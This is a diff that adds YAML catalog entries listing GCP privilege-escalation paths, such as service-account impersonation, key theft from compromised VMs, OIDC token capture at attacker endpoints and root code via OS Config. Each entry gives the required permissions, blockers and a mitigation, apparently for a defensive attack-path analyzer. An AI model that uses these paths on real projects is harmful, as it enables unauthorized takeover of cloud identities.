firebaseapphosting.backends.update and grant actAs only on dedicated App Hosting SAs. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + +- id: gcp-firebaseapphosting-backends-update-source + provider: gcp + service: firebaseapphosting + title: Repoint an App Hosting backend's source repository to attacker-controlled code + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-firebase-app-hosting-persistence.md#backend-hijack--repoint-source-or-runtime-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the existing service account of Firebase App Hosting backends whose connected repository/branch it can change, when automatic rollouts build the new source. + requires: + all_of: + - action: firebaseapphosting.backends.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: firebase_apphosting_backend + scope: same_project + aggregate_as: "SAs of Firebase App Hosting backends whose source the source can repoint" + conditions: + - id: automatic_rollout + description: Automatic rollouts must build the newly connected repository/branch (or a later rollout must be triggered by someone else); otherwise builds/rollouts permissions are needed (gcp-firebaseapphosting-build-rollout-existing-backend). + - id: repository_link + description: The new source must be a Developer Connect repository link usable by the backend. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict firebaseapphosting.backends.update and monitor UpdateBackend changes to codebase/serviceAccount. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends diff --git a/src/privilege-escalation-paths-research/gcp/hypercomputecluster.yaml b/src/privilege-escalation-paths-research/gcp/hypercomputecluster.yaml new file mode 100644 index 0000000000..107b1f871f --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/hypercomputecluster.yaml @@ -0,0 +1,40 @@ +# GCP Cluster Director (hypercomputecluster) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cluster-director-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: hypercomputecluster_cluster -> the SA attached to the Slurm login-node VMs of an existing Cluster +# ("{target.host_resource}" = that Cluster). + +- id: gcp-hypercomputecluster-login-node-startup-actas + provider: gcp + service: hypercomputecluster + title: Replace a cluster's login-node startup script to run as the login VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cluster-director-privesc.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--execute-a-login-node-startup-script-as-the-retained-vm-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the login-node service account of Cluster Director clusters it can update, when it also holds actAs on that service account. + requires: + all_of: + - action: hypercomputecluster.clusters.update + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: hypercomputecluster_cluster + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "Login-node SAs of Cluster Director clusters the source can update" + conditions: + - id: login_nodes_exist + description: The cluster must already have Slurm login nodes with an attached SA holding useful permissions. + - id: access_scopes + description: The usable token follows the login VMs' OAuth scopes; egress and org policy also bound it. + - id: disruptive + description: The update restarts all login nodes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/hypercomputecluster.editor and admin and grant Service Account User on login-node SAs only to operators. + notes: roles/hypercomputecluster.editor/admin carry clusters.update but not actAs; the live API rechecks actAs on the retained SA even though the update does not change identity. getAccessToken is not needed. diff --git a/src/privilege-escalation-paths-research/gcp/iam.yaml b/src/privilege-escalation-paths-research/gcp/iam.yaml new file mode 100644 index 0000000000..b3a7fc6ca0 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/iam.yaml @@ -0,0 +1,399 @@ +# GCP IAM / service-account impersonation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-iam-privesc.md (rev 171e422). +# Conventions used across catalog/gcp/*.yaml (see SCHEMA EXTENSIONS in the GCP agent report): +# resource "{target.email}" -> the target service account (SA-level policy or project/folder/org inheritance). +# resource "*" + selector gcp_sa_in_scope_of_permission -> the permission must hold on the target SA's project (or an +# ancestor); deploy-with-actAs techniques are therefore modelled same-project only. +# resource "{target.host_resource}" -> (GCP use of the Azure placeholder) full resource name of the EXISTING resource +# (VM, function, Cloud Run service/job, environment, ...) that runs as the target SA; all +# requirements using it must cover that SAME resource (resource-level IAM or an ancestor). +# resource "{target.host_resource.content_storage}" -> the Cloud Storage bucket that the host resource loads and executes +# code from (Composer DAG bucket, function source bucket, App Engine staging bucket, ...). +# resource "{target.artifact_arn}" -> (GCP use) full resource name of an executable artifact (Artifact Registry repository, +# Cloud Storage object/bucket, source repository) later consumed by the target workload. +# selector attached_to_service: -> the target SA is the run-as identity of an existing resource of +# (GCP values: compute_instance, gke_nodepool, cloudfunctions_function, run_service, run_job, +# run_worker_pool, cloudbuild_trigger, composer_environment, dataflow_job, dataproc_cluster, +# cloudscheduler_job, workflows_workflow, appengine_version, notebooks_instance, +# workstations_config, workstations_workstation, dataform_repository, clouddeploy_target, +# integration_connector, sourcerepo_trigger_consumer, artifact_consumer). +# blocker {id: org_policy_constraint, constraint: } -> edge removed when that org-policy constraint is enforced on +# the target's project (not evaluated yet; reported as not evaluated). +# blocker vpc_sc_perimeter -> a VPC Service Controls perimeter around the target project may block the API calls. + +- id: gcp-iam-serviceaccounts-getaccesstoken + provider: gcp + service: iam + title: Mint OAuth access tokens for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetaccesstoken--impersonate-a-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.getAccessToken. + requires: + all_of: + - action: iam.serviceAccounts.getAccessToken + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.getAccessToken + scope: any + aggregate_as: "Service accounts the source can mint tokens for" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding (time, resource name) may limit when or for which SA the permission applies. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts, never at project/folder/org level. + references: + - https://cloud.google.com/iam/docs/service-account-permissions + notes: Works across projects; the token carries the full IAM permissions of the target SA. iam.serviceAccounts.get is only needed for discovery. + +- id: gcp-iam-serviceaccountkeys-create + provider: gcp + service: iam + title: Create or upload a user-managed key for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountkeyscreate--create-or-upload-a-durable-private-key + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccountKeys.create. + requires: + all_of: + - action: iam.serviceAccountKeys.create + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccountKeys.create + scope: any + aggregate_as: "Service accounts the source can create keys for" + conditions: + - id: key_creation_constraint + description: If iam.disableServiceAccountKeyCreation (or its managed iam.managed.* successor) is enforced, only the key-upload path remains, which iam.disableServiceAccountKeyUpload blocks. + blockers: + - gcp_deny_policy + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation+iam.disableServiceAccountKeyUpload} + confidence: derived + severity: critical + mitigation: Enforce the key-creation and key-upload org policies and restrict roles/iam.serviceAccountKeyAdmin to specific SAs. + references: + - https://cloud.google.com/iam/docs/keys-create-delete + notes: The same permission authorizes both Google-generated key creation and public-key upload. The edge is blocked only when BOTH creation and upload are prevented by org policy; HackTricks notes the legacy boolean constraint can be superseded by the managed constraint, so evaluate the one actually enforced. + +- id: gcp-iam-serviceaccounts-implicitdelegation + provider: gcp + service: iam + title: Chain token minting through an intermediate service account via implicitDelegation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsimplicitdelegation--reach-a-service-account-through-a-delegation-chain + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts that a delegate chain can mint credentials for. The chain starts at a delegate SA on which the source holds iam.serviceAccounts.implicitDelegation, may continue through further implicitDelegation grants, and ends at SAs on which the last delegate holds getAccessToken, signBlob or signJwt. The delegates themselves are not reached. + requires: + all_of: + - action: iam.serviceAccounts.implicitDelegation + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_implicit_delegation_chain: true + scope: any + aggregate_as: "Service accounts reachable through implicitDelegation chains" + conditions: + - id: delegate_chain + description: Each edge records its delegate SAs as delegate: conditions. The final delegate must hold iam.serviceAccounts.getAccessToken, signBlob or signJwt on the target; implicitDelegation alone does not yield a delegate's own access token. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Remove iam.serviceAccounts.implicitDelegation grants (roles/iam.serviceAccountTokenCreator) that are not strictly required, and remove token-minting grants held by service accounts that others can delegate through. + references: + - https://cloud.google.com/iam/docs/create-short-lived-credentials-delegated + notes: The selector follows implicitDelegation transitively (up to 10 hops) and targets only the SAs at the end of the chain. When the source also holds getAccessToken on a delegate (roles/iam.serviceAccountTokenCreator includes both permissions), the gcp-iam-serviceaccounts-getaccesstoken entry reaches the delegate itself. + +- id: gcp-iam-serviceaccounts-signblob + provider: gcp + service: iam + title: Sign arbitrary bytes (a JWT assertion) with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signBlob. + requires: + all_of: + - action: iam.serviceAccounts.signBlob + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signBlob + scope: any + aggregate_as: "Service accounts the source can sign as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob + notes: A signed self-issued assertion is exchangeable for an access token of the SA. + +- id: gcp-iam-serviceaccounts-signjwt + provider: gcp + service: iam + title: Sign a JWT with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signJwt. + requires: + all_of: + - action: iam.serviceAccounts.signJwt + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signJwt + scope: any + aggregate_as: "Service accounts the source can sign JWTs as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signJwt + +- id: gcp-iam-serviceaccounts-setiampolicy + provider: gcp + service: iam + title: Rewrite a service account's IAM policy to self-grant impersonation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssetiampolicy--grant-yourself-token-creation-access + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.setIamPolicy. + requires: + all_of: + - action: iam.serviceAccounts.setIamPolicy + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.setIamPolicy + scope: any + aggregate_as: "Service accounts whose IAM policy the source controls" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject the new binding when the source is an external principal. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Restrict roles/iam.serviceAccountAdmin and roles/iam.securityAdmin; grant SA-level admin only to owners of that SA. + references: + - https://cloud.google.com/iam/docs/manage-access-service-accounts + notes: Also covers the iam.roles.create + iam.serviceAccounts.setIamPolicy variant (the custom role is unnecessary; the SA policy write is the escalation). + +- id: gcp-iam-roles-update-own-custom-role + provider: gcp + service: iam + title: Add permissions to a custom role bound to the source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamrolesupdate--add-permissions-to-an-already-bound-custom-role + source_revision: 171e422 + summary: The source can obtain the privileges of the scope owner of every project/folder/org where a custom role it can update is bound to it. + requires: + all_of: + - action: iam.roles.update + resource: "{target.scope}" + target: + kind: gcp_scope_owner + selector: + gcp_custom_role_bound_to_source: true + scope: inherited_scope + aggregate_as: "Scopes where a source-bound custom role is editable" + conditions: + - id: add_permission_limits + description: The caller need not hold the added permission, but it must be supported in custom roles at that level (project-level roles cannot contain folder/org-only permissions, no wildcards), the role must be active (roles.update can also re-activate a disabled role), and any binding condition must hold. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Separate custom-role administration (roles/iam.roleAdmin) from principals bound to those roles. + references: + - https://cloud.google.com/iam/docs/creating-custom-roles + notes: EXTENSION selector gcp_custom_role_bound_to_source = target scope is one where the source (directly or via group) has a binding to a custom role defined in the scope covered by iam.roles.update. Adding e.g. resourcemanager.projects.setIamPolicy yields scope ownership. +- id: gcp-audit-s01-00-steal-a-service-account-key + provider: gcp + service: iam + title: Steal a service-account key from a compromised VM to bypass narrow metadata-token scopes + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#bypassing-access-scopes + summary: The source can gain unscoped access token and effective IAM permissions blocked by VM scope. A key on + a compromised VM can mint a token with wider scopes, but GCP inventory cannot establish guest-file presence, + source access to it, or active key state. + requires: + all_of: [] + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-00-steal-a-service-account-key + scope: any + aggregate_as: key-owning GCP service account and its broader OAuth authority + conditions: + - id: exact_target_evidence + description: The page explicitly suggests finding a service key on a compromised host to mint a new OAuth token + without the VM metadata token scope restriction. The exclusion treats this as no new identity edge, but it + is a new credential and can enable IAM permissions previously blocked by the old token scope. A key must actually + be present, accessible in guest storage, unrevoked, and belong to an SA whose IAM rights exceed the VM scopes. + Missing target evidence evaluates UNKNOWN. + - id: effective_scope_delta + description: The key must be accessible and active, belong to the target SA, and permit an OAuth scope with + an effective permission absent from the VM metadata token. + confidence: conditional + severity: high + mitigation: Remove service-account keys from VMs and rotate exposed keys. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/README/#bypassing-access-scopes + source_kind: + - gcp_user + - gcp_service_account +- id: gcp-iam-serviceaccounts-getopenidtoken-application + provider: gcp + service: iam + title: iam.serviceAccounts.getOpenIdToken` — impersonate a service account to an OIDC-protected application + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetopenidtoken--impersonate-a-service-account-to-an-oidc-protected-application + source_revision: 0b36331 + summary: The source can mint a Google-signed OIDC ID token representing any target service account on which it + has iam.serviceAccounts.getOpenIdToken; application use depends on audience and authorization. + requires: + all_of: + - action: iam.serviceAccounts.getOpenIdToken + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.getOpenIdToken + scope: any + outcome: credentials + grants: + - OIDC identity token for target service account + conditions: + - id: c1 + description: Service Account Credentials API must be enabled. + - id: c2 + description: An application must trust the audience and authorize the service-account identity; no Google API + OAuth access follows. + blockers: + - gcp_deny_policy + confidence: derived + severity: medium + mitigation: Restrict roles/iam.serviceAccountOpenIdTokenCreator to intended service accounts and audiences; enforce + application authorization. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/generateIdToken +- id: gcp-sa-getopenidtoken-protected-endpoint + provider: gcp + service: iam + title: Mint OIDC ID token to invoke protected endpoint as SA + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#service-account-impersonation--the-crown-jewel + source_revision: 0b36331 + summary: Mint OIDC ID token to invoke protected endpoint as SA; emit only when exact source, target, and prerequisite + evidence is verified. + requires: + all_of: + - action: iam.serviceAccounts.getOpenIdToken + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-sa-getopenidtoken-protected-endpoint + scope: any + outcome: impersonation + aggregate_as: Mint OIDC ID token to invoke protected endpoint as SA + grants: + - OIDC ID token accepted only by the verified audience + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#service-account-impersonation--the-crown-jewel + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} +- id: gcp-pubsub-push-oidc-endpoint + provider: gcp + service: pubsub + title: Pub/Sub push OIDC token to attacker endpoint + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/resource-sharing-and-confused-deputy-attacks.md#notable-subtleties + source_revision: 0b36331 + summary: Pub/Sub push OIDC token to attacker endpoint; emit only when exact source, target, and prerequisite evidence + is verified. + requires: + any_of: + - - action: pubsub.subscriptions.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.host_resource}' + - - action: pubsub.subscriptions.update + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-pubsub-push-oidc-endpoint + scope: any + outcome: impersonation + aggregate_as: Pub/Sub push OIDC token to attacker endpoint + grants: + - OIDC ID token accepted only by the verified audience + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/resource-sharing-and-confused-deputy-attacks.md#notable-subtleties + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} +- id: gcp-pab-delete-unblock-allow + provider: gcp + service: iam + title: Delete PAB binding or policy to lift principal resource boundary + source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#remove + source_revision: 0b36331 + summary: Delete PAB binding or policy to lift principal resource boundary; emit only when exact source, target, + and prerequisite evidence is verified. + requires: + any_of: + - - action: iam.policyBindings.delete + resource: '*' + - - action: iam.principalAccessBoundaryPolicies.delete + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-pab-delete-unblock-allow + scope: any + outcome: permission_grant + aggregate_as: Delete PAB binding or policy to lift principal resource boundary + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#remove + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} diff --git a/src/privilege-escalation-paths-research/gcp/inframanager.yaml b/src/privilege-escalation-paths-research/gcp/inframanager.yaml new file mode 100644 index 0000000000..29c3d428b7 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/inframanager.yaml @@ -0,0 +1,36 @@ +# GCP Infrastructure Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-infra-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-inframanager-deployments-create-actas + provider: gcp + service: config + title: Create an Infrastructure Manager deployment applied as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#configdeploymentscreate--iamserviceaccountsactas--apply-terraform-as-a-selected-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: config.deployments.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Infrastructure Manager SA in {project}" + conditions: + - id: sa_config_agent + description: The run-as SA must hold roles/config.agent (state backend) and read access to the deployment source/staging bucket. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Infrastructure Manager SAs; roles/config.admin lacks actAs but roles/editor has both. + references: + - https://cloud.google.com/infrastructure-manager/docs/access-control + notes: Updating an existing deployment (config.deployments.update) is the same class but not described by HackTricks. diff --git a/src/privilege-escalation-paths-research/gcp/integrations.yaml b/src/privilege-escalation-paths-research/gcp/integrations.yaml new file mode 100644 index 0000000000..90781d6884 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/integrations.yaml @@ -0,0 +1,62 @@ +- id: gcp-integration-invoke-input-effect-12 + provider: gcp + service: integrations + title: Invoke existing published credentialed integration with chosen inputs + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + source_revision: 0b36331 + summary: Invoke existing published credentialed integration with chosen inputs; emit only when exact source, target, + and prerequisite evidence is verified. + requires: + all_of: + - action: integrations.integrations.invoke + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-integration-invoke-input-effect-12 + scope: any + outcome: scope_control + aggregate_as: Invoke existing published credentialed integration with chosen inputs + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} +- id: gcp-integration-invoke-input-effect-13 + provider: gcp + service: integrations + title: Redirect credentialed HTTP connector via caller-controlled URL + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + source_revision: 0b36331 + summary: Redirect credentialed HTTP connector via caller-controlled URL; emit only when exact source, target, + and prerequisite evidence is verified. + requires: + all_of: + - action: integrations.integrations.invoke + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-integration-invoke-input-effect-13 + scope: any + outcome: scope_control + aggregate_as: Redirect credentialed HTTP connector via caller-controlled URL + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} diff --git a/src/privilege-escalation-paths-research/gcp/managedflink.yaml b/src/privilege-escalation-paths-research/gcp/managedflink.yaml new file mode 100644 index 0000000000..a0aa0008a1 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/managedflink.yaml @@ -0,0 +1,42 @@ +# GCP Managed Service for Apache Flink privilege escalation techniques. +# Source: hacktricks-cloud gcp-post-exploitation/gcp-managed-flink-post-exploitation.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-managedflink-jobs-create-actas + provider: gcp + service: managedflink + title: Submit an attacker-controlled Managed Flink job that runs as a chosen workload identity + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-flink-post-exploitation.md#managedflinkjobscreate--execute-an-attacker-jarpython-job-as-the-workload-identity + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts in the project on which it holds iam.serviceAccounts.actAs, by submitting an on-demand Managed Flink job whose attacker-supplied graph/JARs run as that workload identity. + requires: + all_of: + - action: managedflink.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: storage.objects.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Managed Flink workload identity in {project}" + conditions: + - id: service_agent_read + description: The Managed Flink service agent must be able to read the staged job graph/artifacts from the chosen staging bucket. + - id: credential_exposure + description: Google does not document how the workload identity's credentials are exposed to job code; the payload uses the identity through runtime connectors/credentials rather than a guaranteed metadata endpoint. + - id: actas_not_documented + description: Google does not document whether actAs is checked for the job-level workloadIdentity; it is required here conservatively. Submitting to an existing deployment (inheriting its identity) without actAs is an unverified lead that is not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict managedflink.jobs.create and grant actAs only on specific service accounts; give Managed Flink workload identities least privilege. + references: + - https://cloud.google.com/managed-flink/docs/access-control + notes: HackTricks @171e422 documents this on the post-exploitation page and labels deployment identity inheritance without actAs a test lead, not a confirmed primitive. diff --git a/src/privilege-escalation-paths-research/gcp/monitoring.yaml b/src/privilege-escalation-paths-research/gcp/monitoring.yaml new file mode 100644 index 0000000000..8cb76f5ae8 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/monitoring.yaml @@ -0,0 +1,33 @@ +- id: gcp-s08-10-receive-monitoring-service-agent-oidc-tokens + provider: gcp + service: monitoring + title: Receive Monitoring service-agent OIDC tokens + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + summary: A resource-typed uptime check sends the Monitoring service agent OIDC token to an attacker-controlled + endpoint; reuse is limited to matching audience and authorization. + requires: + all_of: [] + any_of: + - - action: monitoring.uptimeCheckConfigs.create + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-s08-10-receive-monitoring-service-agent-oidc-tokens + scope: any + aggregate_as: Monitoring notification service agent accepted at exact audience + conditions: + - id: exact_verified_prerequisites + description: Require OIDC_TOKEN, exact resource type and endpoint control; identify token aud and a target + that accepts that audience and authorizes this service agent. Missing facts must evaluate UNKNOWN; emit + no derived path. + confidence: conditional + severity: high + mitigation: Restrict the named permission and review the exact resource and resulting grant. + references: + - https://cloud.hacktricks.wiki/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md + notes: Draft only. The selector is a schema-valid placeholder for the feature or collector specified in this + fragment. diff --git a/src/privilege-escalation-paths-research/gcp/osconfig.yaml b/src/privilege-escalation-paths-research/gcp/osconfig.yaml new file mode 100644 index 0000000000..16408d3cf3 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/osconfig.yaml @@ -0,0 +1,151 @@ +# GCP VM Manager / OS Config privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-osconfig-privesc.md and gcp-compute-privesc/README.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# The OS Config agent runs as root on the VM; no actAs on the VM's SA is needed (HackTricks). + +- id: gcp-osconfig-patchjobs-exec + provider: gcp + service: osconfig + title: Run root pre/post-patch steps on project VMs through an OS Config patch job + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpatchjobsexec-or-patch-deployment-write---execute-a-privileged-patch-step + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs of every project where it holds osconfig.patchJobs.exec or osconfig.patchDeployments.create. + requires: + any_of: + - - action: osconfig.patchJobs.exec + resource: "{target.project}" + - - action: osconfig.patchDeployments.create + resource: "{target.project}" + - - action: osconfig.patchDeployments.update + resource: "{target.project}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: The VM must be running, patch-supported, have an active OS Config agent with VM Manager enabled, an attached service account and egress to OS Config; the project service agent must hold roles/osconfig.serviceAgent. patchDeployments.update needs an existing deployment. + - id: executable_location + description: ExecStepConfig has no inline script; the pre/post-patch executable is a local path or an exact Cloud Storage object generation readable by the VM's SA. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.patchJobExecutor, roles/osconfig.patchDeploymentAdmin and roles/osconfig.admin; disable VM Manager where not needed. + references: + - https://cloud.google.com/compute/docs/os-patch-management/create-patch-job + notes: No actAs on the VM SA is required (HackTricks, current at the reference revision). patchDeployments.create is the scheduled variant; also documented on gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec (former duplicate entry gcp-compute-osconfig-patchdeployments-create removed). + +- id: gcp-osconfig-ospolicyassignments-create + provider: gcp + service: osconfig + title: Run root code on project VMs through OS policy assignments + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigospolicyassignmentscreate-or-update---execute-an-inline-privileged-os-policy + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs of every project where it can create or update OS policy assignments. + requires: + any_of: + - - action: osconfig.osPolicyAssignments.create + resource: "{target.project}" + - - action: osconfig.osPolicyAssignments.update + resource: "{target.project}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: VM Manager must be enabled 